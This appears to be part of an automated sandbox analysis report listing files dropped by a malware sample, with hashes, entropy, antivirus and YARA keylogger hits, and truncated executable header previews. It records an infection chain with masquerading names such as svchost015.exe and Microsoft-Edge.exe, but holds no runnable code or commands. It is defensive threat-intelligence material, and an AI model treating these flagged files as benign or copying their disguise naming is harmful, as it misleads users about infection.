Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f............................>.... ........@.. ....................................`....................................S.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H......................................................................_..d...K...Sk..+G....Q............J.nj.I.k..)..E&E.8_.b...$..........(#?o8.....b.9....~V.4..v1.uT.0....^...Lb........;...5.H..^.1.\|<..`y54...f.~..Y,.S,..Wp.S[6....Nk.E..^...i&........?on....~!.6A...A....J..n..x.T.H.a......z...c.W...n.g#u.>.A...6K.qcR.9.L..;.z.s<...j.\|.......I:.w..H$...z.]MH..ChD.y.>.o..l.....MA]~......o\Z.1.D.#Khy..Ov.EMA9Y...A.e.8..E...2..&_.......V.H.I...D#.......#M.Lq

C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1875456
Entropy (8bit):	7.94802208537805
Encrypted:	false
SSDEEP:	24576:D6wf7cLoJNPpd/jAsGyco0dBBgnXxTrOyIhfX0nI3ZGASsQjipNuDpNv28EGFZ2K:Dl7GcTSsG72x+ysfX/psGpkp86bFX
MD5:	AD0C6BD7353136531AF5325034613533
SHA1:	EE44D2B2E6AD3E32DA9C074B5B880E4947C4970C
SHA-256:	5947B0B670DBB94778390C83AEB091874F10CB952B2DC3C459AC0E23F380A523
SHA-512:	4173F1ABC677AA4A17B1947D3C9C164817E7C35F3B9240842861E0BABFABA02751F11FDA52EEE544D62E6A5B3226AC32D1561CF0E2071EEDE671A18ED956A85A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L.../..f......................$......@k...........@..........................pk.....K.....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..+...%......:..............@...llbyxbem.@....P..:...<..............@...vndwcpmt.....0k......v..............@....taggant.0...@k.."...\|..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000355001\3ab68b6f1f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1926144
Entropy (8bit):	7.951254702115289
Encrypted:	false
SSDEEP:	24576:A9mBCOfharwewL2KB+2BVVFatyb4ckcv71pSosbwdOe6KFOzGnqF33l/KWLHRaz:AkBv5lBxVFcy8cl71FsbZea3liKRa
MD5:	5C36978A50EB3666B9E3B95100082DC7
SHA1:	0A3A01167591748E804BCEDD19F65B14994938B8
SHA-256:	3AB1C1B8B8A1990896AE224EF0989E5DCBEB03E01CA8AC3665DA8A438DED8F50
SHA-512:	75F78117E1E14B69CE4D3717DC0479420CCAF30D58B99044235D1882C66128C9C1D5DA4BBE62020181497D060B8CC58B0288EDFC1F317FD19DFC7D7CA485F763
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PL...........@...........................L.....$m....@.................................W...k............................7L.............................T7L..................................................... . ............................@....rsrc...............................@....idata ............................@... .@+.........................@...xmjcxhmw.P....1..J..................@...lqsidhwe.....@L......>..............@....taggant.0...PL.."...B..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000356001\neon.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3643904
Entropy (8bit):	6.674553235078717
Encrypted:	false
SSDEEP:	49152:KXSBgOQSMWnpCkICTugfaU6vTN4Z6WSk7s7jsjS4znnqyIn7TrvU:KygOQSVpC/CHMTWk8zn
MD5:	B3FD0E1003B1CD38402B6D32829F6135
SHA1:	C9CEDD6322FB83457F56B64B4624B07E2786F702
SHA-256:	E4A36BE98F730D706D2CA97A5D687329A1CC7D4848DAF698B7E21B6B9B577F31
SHA-512:	04692E0F80A75F78B533677CEFE3DB6607108ABF19963D88E231925CFA13F1EC054811AEBE53C82D238E732A999CD8D176107D50CF2EA5694D4177CBFD3B30F1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 14%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........................\#..<........... ....@...... ........................7...........`...@......@............... ................................#..:........................................................................................... ..H............text....[#.. ...\#................. ..`.rsrc....:....#..<...^#.............@..@........................................H.......X.".T.......N........-"..........................................~....Pt.f..L^[1.w.u......BZ.F...!....-.(...E..!l.\|.I..I.........f.9....H....OO._9XB....CR.....n\|kh.^..rl.y...~....`..Z...B...(.e._.p......F..j.gZ4p...h....Hy.7P6.Q..)9.2y.:...n.Fb.zW...\..cl....]...1.w...-...(....6i(.. ......U.r...g@..N..=q....].'...d....... ...plW!r._....D.x.q_.-.....<.F.sQ#ix.L....+..,b.."..W.......6h...\...d....0...`\.>.....1wlRln(}*...h...c......}:...a....b..9I.,.......P..szo.\|j

C:\Users\user\AppData\Local\Temp\1000357001\Microsoft-Edge.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	435820
Entropy (8bit):	5.87360608417321
Encrypted:	false
SSDEEP:	6144:xUqYwuIRcCdb4vngCuoyGIlAkAzQXIwWNQBUh7g600NifMohIUiaBQv2kzmOWw:xUXCio4yLC1k5Gq0o0a8FrWw
MD5:	7DF3608AE8EA69762C71DA1C05F0C043
SHA1:	164A36D4822BE3FD4111CDEF5CECAD5F19024564
SHA-256:	ECF9B0828798392080348E096E843458267B9DF11EBC035ECD9C738BB69DB470
SHA-512:	E1AF2E687457B9866FD059D0E6AA50054456CDCC0E7FAE1CC4DA7E44312CD5663C38C13999A08E5585077176279CD83B8B6AEF93AA6FE68AD74A5FAADE5295CE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f..........'......6....................@.....................................l.....`... ..........................................................E......x...........................................@h..(.......................`............................text...X5.......6..................`.P`.data........P.......<..............@.P..rdata.......`.......>..............@.`@.pdata..x............P..............@.0@.xdata...............T..............@.0@.bss..................................`..idata...............X..............@.0..CRT....h............j..............@.@..tls.................l..............@.@..rsrc....E.......F...n..............@.0./4...........@......................@..B/19..........P......................@..B/31......)..........J..............@..B/45......(..........t..............@..B/57..........@......................@.@B/70.....

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1940480
Entropy (8bit):	7.951425847033669
Encrypted:	false
SSDEEP:	49152:Pfxsg8rRSzxCa2w6G/fSrvYMSdkhNebdu:HxaVo0w6oKbYXdkhuc
MD5:	B8FC8A5801E3C0172A199430C7DBA1D6
SHA1:	2A53F4961410BEA07DE2259FD7875B30AE6A7856
SHA-256:	C438AD0F0D3F595677BFD83CFBAB377224CDCC7275F7954639C113E767E8DDF5
SHA-512:	B6A2E23BABEC64712408DBF0E1A9CE5720A4AFF14C6DE3E90A756C00EC97D01F394A18608DE1CB2A90F87CE6C6FA8B4829CA57F77B8C110462B65AF10E9BA3EC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................L...........@.......................... M...........@.................................W...k.............................L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...tutljgzd.....P2.....................@...nhtewlaz......L......v..............@....taggant.0....L.."...z..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\NetSup_Buil2d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2766492
Entropy (8bit):	7.953477776705727
Encrypted:	false
SSDEEP:	49152:FsvsJ5z96068gxl99BA/OtKVeCa4Aisn2Mu/+YAXj9/4f5sDIMMaP5:Fs0Pz9T691AA5CfMKAXh4f5sDI5K5
MD5:	48D3871FE96D9589EA77E2BE0ADFA4C5
SHA1:	9C4AC1F16F9D6EF6ED4FE15A9A34A8666BC5A34B
SHA-256:	1744714E3873DEDBD522830D98B9CE8A38C378338EF081B58D6199EC190E5528
SHA-512:	9A6809453490AD9818491658472C10A879CE543C7CDB3C62F60EA04031CD1F11562CE5F509BDC78894E3AC4C05728B9261904385FF00F28A5D887C9B223D70CE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W..6..6..6....V.6....T.'6....U.6..)MZ.6..)M..6..)M..6..)M..6..N$.6..N4.6..6..7..'M..6..'M..6..'MX.6..'M..6..Rich.6..................PE..L......e...............!.F..........P........`....@.......................................@.............................4.......P.......D....................p..\%......T...............................@............`..x....... ....................text....E.......F.................. ..`.rdata.......`.......J..............@..@.data...XG... ......................@....didat.......p......................@....rsrc...D...........................@..@.reloc..\%...p...&..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TmpA451.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpA462.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpB578.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpB588.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpFBD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpFC35.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpFC46.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpFCE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\svchost015.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2990472
Entropy (8bit):	6.459856200541649
Encrypted:	false
SSDEEP:	49152:/INqIwJA7BYAzLOhHpB63X4oQaM35DhnSYf7bPZcYsO5+th1:wNqC7BZEHSQz5DhnSy7ujL
MD5:	B826DD92D78EA2526E465A34324EBEEA
SHA1:	BF8A0093ACFD2EB93C102E1A5745FB080575372E
SHA-256:	7824B50ACDD144764DAC7445A4067B35CF0FEF619E451045AB6C1F54F5653A5B
SHA-512:	1AC4B731B9B31CABF3B1C43AEE37206AEE5326C8E786ABE2AB38E031633B778F97F2D6545CF745C3066F3BD47B7AAF2DED2F9955475428100EAF271DD9AEEF17
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Local\Temp\svchost015.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\svchost015.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....\"f..................#.........l.#.......#...@..........................p1.....?.-...`...(..@...........................p&.l3....(...............-..!....................................&.....................................................CODE......#.......#................. ..`DATA....0.....#.......#.............@...BSS...........$......\$..................idata..l3...p&..4...\$.............@....tls....\|.....&.......$..................rdata........&.......$.............@..P.reloc.......&.......$.............@..P.rsrc.........(.......$.............@..P.............p1......,/.............@..P........................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\26e6dc3279954494be14b7b8567c87b5_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

